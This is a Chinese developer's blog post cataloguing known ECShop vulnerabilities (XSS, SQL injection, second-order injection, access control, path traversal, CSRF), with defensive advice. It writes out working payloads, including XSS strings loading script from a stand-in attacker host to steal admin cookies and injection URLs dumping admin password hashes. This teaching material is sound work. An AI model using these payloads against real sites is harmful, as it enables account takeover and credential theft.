PHP开发的一些漏洞安全知识

简介:

注意:这里只说下PHP程序的一些漏洞,不涉及服务器其它系统安全。

  这段时间的看了看一些PHP系统程序安全漏洞的文章,觉得做为一个PHP开发人员,如果不去看重这些漏洞,则不是一个合格的程序员。

PHP的漏洞很多,为了给自己提醒,也为了不断添加新的漏洞预防方法,在这里写下自己当前所知道的预防方法。如有不正确的地方还请指正。

我当前工作中主要是对ecshop的二次开发,一直以为这个系统经过了这么多年,应该不会有太多的漏洞。最近搜了下,发现漏洞还挺多的。

所以下面就以ecshop为例说明下这个系统的漏洞。需要说明的是,这些漏洞不是我发现的,只是我搜到的,放在这里只为以后好找,并且在这里在做一个总结!

XSS攻击。百度说 

           xss攻击是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的。

其实是就在页面中恶意插入一段HTML或JS代码。当访问该页面时就有可能触发这段代码执行恶意操作。一般这段代码是一段JS代码或一个引入的文件路径等。这些代码大多是执行JS操作送发一些重要信息给攻击者。大部分是获取一些COOKIE数据,当然如果该页面还有更重要的数据那都有可能被获取,或都有其它操作会修改客户的重要数据。

SQL注入。百度说

所谓SQL注入,就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令

           下面来说下ecshop里的几个漏洞: 

1. ecshop最新版本存储XSS至后台。来源:http://www.wooyun.org/bugs/wooyun-2010-023731

  这个漏洞是利用定单处理页面:flow.php的填写收货人地址页面没有对邮件进行有效的过滤,导致管理员在后台的订单页。比如我们在邮件框中输入

" onmouseover="$import('http://www.gongJiDeJS.com/test.js','js')" "

其它内容老实填好,虽然在在init.php文件中会进行一个addslashes但写入数据库后内容就恢复输入的内容了。

源代码包含:

<td align="leftvalign="top"><a href="mailto:onmouseover="$import('http://www.gongJiDeJS.com/test.js','js')"">

这是收货人,但也是XSS</a> [TEL: 18058190409] <br/>XSS攻击,只要鼠标移过来就上当了</td>

看到上面红色的文本我相信大家都懂,只要鼠标移上来后就会触发$import('http://www.gongJiDeJS.com/test.js','js')。而$import是ECSHOP自定义的一个JS函数,动态加载JS文件。到这里想想就知道,如果加载的http://www.gongJiDeJS.com/test.js文件做手脚就很方便的把当前COOKIE的数据发送给攻击者,这个时候如果攻击者自己创建COOKIE就可以进入后台,剩下的就不用说了(如果管理员的权限够高整个系统数据都在攻击者手中)。

这种漏洞虽然在客户端用了JS判断邮件合法性但客户端JS可以关闭,所发在开发时不要太相信客户端的JS判断。JS只是一个增加客户体验,不能完全相信提交过来的数据。尤其是攻击者,他们会想提交各种攻击串来达到目的。程序在使用这些数据时也不能只通过addslashes来添加转义。要严格判断提交数据的合法性,如邮件必须判断为正确的格式,显示的文本要判断是否有script标签或其它的引入文件标签防止加载攻击JS代码丢失客户或管理员的COOKIE。包含html标签的都转换为HTML特殊符号转义等。尽量不要直接使用。


2. ecshop最新版本SQL注入+存储XSS=任意管理员登录。来源:http://www.wooyun.org/bugs/wooyun-2010-023188

  这个漏洞是利用站外广告统计处理页面:affiche.php的from参数传入SQL,直接写入数据库ecs_adsense中在后台管理员进入 报表统计 -> 站外投放JS 菜单时该页面又没有对这个参数进行过滤便使用到第二个SQL中很容易形成了“二次注入”。

比如在URL上输入:http://www.test.com/affiche.php?from=a.baidu.com%3Cscript+type%3D%22text%2Fjavascript%22+src%3D%22http%3A%2F%2Fwww.gongJiDeJS.com%2Ftest.js%22%3E%3C%2Fscript%3E&ad_id=-1

源代码包含:

<td>站外JS调用商品</td><td>a.baidu.com<scripttype="text/javascript" src="http://www.gongJiDeJS.com/test.js"></script></td><tdalign="right">21</td><tdalign="right">0</td><tdalign="right">0</td>







同第一个类似,可以方便的获取管理员的COOKIE,然后就....

如果这个时候你知道了该系统的表前缀,还可以进行SQL注入获取管理员的密码。比如当前的表前缀为ecs_ 在URL输入:http://www.test.com/affiche.php?from=a.baidu.com%3Cscript+type%3D%22text%2Fjavascript%22+src%3D%22http%3A%2F%2Fwww.gongJiDeJS.com%2Ftest.js%22%3E%3C%2Fscript%3E'%20and%201=2%20union%20select%20group_concat(user_id,'|',user_name,'|',password)%20from%20ecs_admin_user%20order%20by%201%20desc%23&ad_id=-1

源代码包含:

<td>站外JS调用商品</td><td>a.baidu.com<scripttype="text/javascript" src="http://www.gongJiDeJS.com/test.js"></script>' and 1=2 union select group_concat(user_id,'|',user_name,'|',password) from _admin_user order by 1 desc#</td><tdalign="right">21</td><tdalign="right">1|admin|967605f4dd51ebed1cc0c0289b8d97a5,8|admin|d41d8cd98f00b204e9800998ecf8427e</td><tdalign="right">1|admin|967605f4dd51ebed1cc0c0289b8d97a5,8|admin|d41d8cd98f00b204e9800998ecf8427e</td>

这种方法只要通过引入的JS取出<tdalign="right">1|admin|967605f4dd51ebed1cc0c0289b8d97a5,8|admin|d41d8cd98f00b204e9800998ecf8427e</td>里面的内容就可以得到管理员的帐号与密码。

当然还有其它可用的SQL来注入,获取想要的内容,比如系统配置数据,等。

这种漏洞完全是程序没有对提交的数据进行过滤,虽然的客户端没有什么影响,但管理员进入后台时,打开对应的页面就会执行攻击者想要的操作,如果攻击者能及时得到管理员的COOKIE就可以进入后台管理,达到攻击的目的。来源地址中说解决方案是  addslashes, 输出时过滤 虽然解决了问题 我个人认为不好,应该从输入时就过滤,去掉不合法的地址,当然这个难度有点大。但程序严谨。


3. ecshop最新版本一处用户权限越权。 来源:http://www.wooyun.org/bugs/wooyun-2010-023296

  这个漏洞是利用了页面中的隐藏表单元素。强制修改里面的值来破坏数据库里的记录。

  ecshop里的用户可以修改自己的配送地址,但存在着address_id隐藏域,只要动修改下里面的值进行循环就可以清空或修改所有其它用户的配送地址。

  主要的是修改配送地址的程序没有做用户判断,而直接用了配送ID筛选,使用的程序是

/includes/lib_transaction.php 516行,save_consignee方法
if ($consignee['address_id'] > 0)
{
/* 修改地址 */
$res = $GLOBALS['db']->autoExecute($GLOBALS['ecs']->table('user_address'), $consignee, 'UPDATE', 'address_id = ' . $consignee['address_id']); //看,没判断user_id吧?
}

  虽然这个漏洞不能获取管理员的数据,但是可以破坏用户的配送地址。极其不安全。

这个漏洞利用的是SQL查表筛选条件不足,在修改配送地址时没有以用户ID加配送ID进行筛选,只用到了配送ID,如果我们修改配送ID那就可以直接修改其它不属于该用户的配送数据,一断循环那就会影响整个配送表的数据,因此在查表时一定要做好筛选,尤其是接受提交数据进行筛选,能进行用户ID的一定要加上去,避免类似漏洞发生,同样要对这个提交过来的筛选内容进行过滤,能为数字一定要强制转换下等。


4.ecsho后台任意用户可以下载整站源码。来源:http://www.wooyun.org/bugs/wooyun-2010-023124

这个漏洞是利用了后台备份模板模块的漏洞,没有过滤备份的文件名就执行备份操作,当然这个漏洞必须要有后如管理帐号才可以攻击。

  要ecshop后台模板管理 -> 模板选择 菜单中有一个模板备份功能,看似很安全的操作,但只要涉及到提交我们都可以自定义提交一些数据来达到攻击的目的。我们可以摸清备份当前模板 按钮是一个JS调用AJAX来请求备份操作,所调用的是backupTemplate这个函数

/** * 备份当前模板 */function backupTemplate(tpl){  Ajax.call('template.php?is_ajax=1&act=backup', 'tpl_name=' + tpl, backupTemplateResponse, "GET", "JSON");}




从这里我们可以看到请求的地址规则是: template.php?is_ajax=1&act=backup&tpl_name=模板目录名

到这里可能还看不出来什么问题,重要的是在PHP程序里没有进行验证数据

if ($_REQUEST['act'] == 'backup')

{

include_once('includes/cls_phpzip.php');

$tpl = trim($_REQUEST['tpl_name']);

$filename = '../temp/backup/' . $tpl . '_' . date('Ymd') . '.zip';

$zip = new PHPZip;

$done = $zip->zip('../themes/' . $tpl . '/', $filename);

不清楚开发者是怎样看待这个问题的,但是这个问题确实存在,如果被攻击者拿到源代码那就可以进一步的了解网站的修改量,版本等信息,极为不安全。

当我们输入URL:template.php?is_ajax=1&act=backup&tpl_name=../api

结果会是备份了api里的所有文件。

这个漏洞也是利用了没有验证提交的数据引起的,所以解决方法也是对这个提交数据进行验证,当然也可以添加一些权限设置。


5.ECSHOP全版本注入漏洞(二次注入)。来源:http://www.wooyun.org/bugs/wooyun-2010-016651

这个漏洞利用了PHP程序没有对数据进行验证,从而进行SQL二次注入,如果没有经历的程序员一般都不会想到一个下拉表单都可以做数据伪装,事实上这个完全可以伪装。

我们只要注册一个会员,然后进行配送地址修改或下单进入添加配送地址页面中,我们可以通过火狐浏览器修改下拉表单option的值然后其它的老实填好提交。

在值后面添加如下的内容,就可以得到管理员的帐号,但密码是加密码的所有这里只是演示

) and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #

提交后就会报错并,显示出我们想要的数据。


6.Ecshop csrf可劫持用户账号。来源:http://www.wooyun.org/bugs/wooyun-2010-024625

这个漏洞利用了程序没有对提交过来的修改数据进行身份识别,一般攻击者可以创建一个类似的页面通过某种手段使登录的用户又进去了攻击者设置好的陷阱,只要用户进入这个陷阱后就会提交数据到用户信息修改地址页面中,如果没有身份识别那么程序会接受修改的内容,只要数据格式合法。一般攻击者攻击的是可以通过邮箱找回密码的网站,只要修改了邮箱为自己的邮箱就可以通过找回密码的方式进去用户的帐户。当然这种攻击是需要条件的,首先用户必须登录,然后引诱进入攻击陷阱页面提交数据,最后得到用户名,修改密码。这种漏洞可以通过验证码来识别身份,或者生成一个随机串都是可以的,主要是防止程序接受自动提交数据。只要能识别是人为操作基本就安全了。

个人感想:

   这里所能说明的是大部分PHP程序漏洞。基本是没有对用户提交来的数据进行验证导致的,所以我个人认为对客户提交的所有数据进行适当的验证转换是网站安全的基本,当是数值的一定要强制转换为对应的数值类型,当是字符串的一定要加addslashes处理下,邮箱一定要进行匹配验证,电话号,等。多次查询时尽量使用连接查询,如果非要做二次查询SQL时并且使用到用户提交过来的数据(字符串类的)一定要再加一次addslashes才能进入SQL中,否则容易产生二次注入,如果要显示客户提交过来的文本类数据要进行htmlentities转换HTML实体字符,解决掉XSS攻击的可能,如果特殊情况不能去掉HTML实体字符,那必须处理好JS的引入操作,查找出一些script,标签,和一些JS事件,要尽可能的防止攻击都提交过来的JS操作,最后一点提交数据尽可能的进行人为识别,防止恶意自动提交数据。

本文转自   ttlxihuan    51CTO博客,原文链接:http://blog.51cto.com/php2012web/p4

相关文章
ly~
|
2月前
|
存储 供应链 小程序
除了微信小程序,PHP 还可以用于开发哪些类型的小程序?
除了微信小程序,PHP 还可用于开发多种类型的小程序,包括支付宝小程序、百度智能小程序、抖音小程序、企业内部小程序及行业特定小程序。在电商、生活服务、资讯、工具、娱乐、营销等领域,PHP 能有效管理商品信息、订单处理、支付接口、内容抓取、复杂计算、游戏数据、活动规则等多种业务。同时,在企业内部,PHP 可提升工作效率,实现审批流程、文件共享、生产计划等功能;在医疗和教育等行业,PHP 能管理患者信息、在线问诊、课程资源、成绩查询等重要数据。
ly~
76 6
|
2月前
|
设计模式 算法 数据库连接
PHP中的设计模式:提高代码的可维护性与扩展性本文旨在探讨PHP中常见的设计模式及其应用,帮助开发者编写出更加灵活、可维护和易于扩展的代码。通过深入浅出的解释和实例演示,我们将了解如何使用设计模式解决实际开发中的问题,并提升代码质量。
在软件开发过程中,设计模式是一套经过验证的解决方案模板,用于处理常见的软件设计问题。PHP作为流行的服务器端脚本语言,也有其特定的设计模式应用。本文将重点介绍几种PHP中常用的设计模式,包括单例模式、工厂模式和策略模式,并通过实际代码示例展示它们的具体用法。同时,我们还将讨论如何在实际项目中合理选择和应用这些设计模式,以提升代码的可维护性和扩展性。
59 4
|
3天前
|
XML JSON API
【PHP开发专栏】PHP RESTful API设计与开发
随着互联网技术的发展,前后端分离成为Web开发的主流模式。本文介绍RESTful API的基本概念、设计原则及在PHP中的实现方法。RESTful API是一种轻量级、无状态的接口设计风格,通过HTTP方法(GET、POST、PUT、DELETE)操作资源,使用JSON或XML格式传输数据。在PHP中,通过定义路由、创建控制器、处理HTTP请求和响应等步骤实现RESTful API,并强调了安全性的重要性。
10 2
|
7天前
|
XML 安全 PHP
PHP与SOAP Web服务开发:基础与进阶教程
本文介绍了PHP与SOAP Web服务的基础和进阶知识,涵盖SOAP的基本概念、PHP中的SoapServer和SoapClient类的使用方法,以及服务端和客户端的开发示例。此外,还探讨了安全性、性能优化等高级主题,帮助开发者掌握更高效的Web服务开发技巧。
|
13天前
|
SQL 安全 Go
PHP在Web开发中的安全实践与防范措施###
【10月更文挑战第22天】 本文深入探讨了PHP在Web开发中面临的主要安全挑战,包括SQL注入、XSS攻击、CSRF攻击及文件包含漏洞等,并详细阐述了针对这些风险的有效防范策略。通过具体案例分析,揭示了安全编码的重要性,以及如何结合PHP特性与最佳实践来加固Web应用的安全性。全文旨在为开发者提供实用的安全指南,帮助构建更加安全可靠的PHP Web应用。 ###
30 1
|
25天前
|
SQL 关系型数据库 MySQL
PHP与MySQL协同工作的艺术:开发高效动态网站
在这个后端技术迅速迭代的时代,PHP和MySQL的组合仍然是创建动态网站和应用的主流选择之一。本文将带领读者深入理解PHP后端逻辑与MySQL数据库之间的协同工作方式,包括数据的检索、插入、更新和删除操作。文章将通过一系列实用的示例和最佳实践,揭示如何充分利用这两种技术的优势,构建高效、安全且易于维护的动态网站。
|
1月前
|
Java PHP
PHP作为广受青睐的服务器端脚本语言,在Web开发中占据重要地位。理解其垃圾回收机制有助于开发高效稳定的PHP应用。
【10月更文挑战第1天】PHP作为广受青睐的服务器端脚本语言,在Web开发中占据重要地位。其垃圾回收机制包括引用计数与循环垃圾回收,对提升应用性能和稳定性至关重要。本文通过具体案例分析,详细探讨PHP垃圾回收机制的工作原理,特别是如何解决循环引用问题。在PHP 8中,垃圾回收机制得到进一步优化,提高了效率和准确性。理解这些机制有助于开发高效稳定的PHP应用。
43 3
|
29天前
|
前端开发 JavaScript 小程序
前端uni开发后端用PHP的圈子系统该 如何做源码?
圈子系统系统基于TP6+Uni-app框架开发;客户移动端采用uni-app开发,管理后台TH6开发。系统支持微信公众号端、微信小程序端、H5端、PC端多端账号同步,可快速打包生成APP
|
4月前
|
安全 IDE 编译器
深入理解PHP 7的新特性及其对现代Web开发的影响
【7月更文挑战第30天】本文将深入探索PHP 7版本中引入的关键新特性,并分析这些改进如何优化现代Web开发实践。通过对比PHP 5和PHP 7的性能差异,我们将揭示PHP 7如何提升应用响应速度和资源利用效率。此外,本文还将讨论PHP 7对开发者工作流程的影响,包括新的语言特性、错误处理机制以及内置函数的增强,旨在为读者提供全面了解PHP 7所带来的变革性影响。
|
1月前
|
前端开发 JavaScript PHP
Thinkphp在线客服系统源码多语言外贸版_PHP客服系统源码Uniapp开发搭建+论文设计
Thinkphp在线客服系统源码多语言外贸版_PHP客服系统源码Uniapp开发搭建+论文设计
下一篇
无影云桌面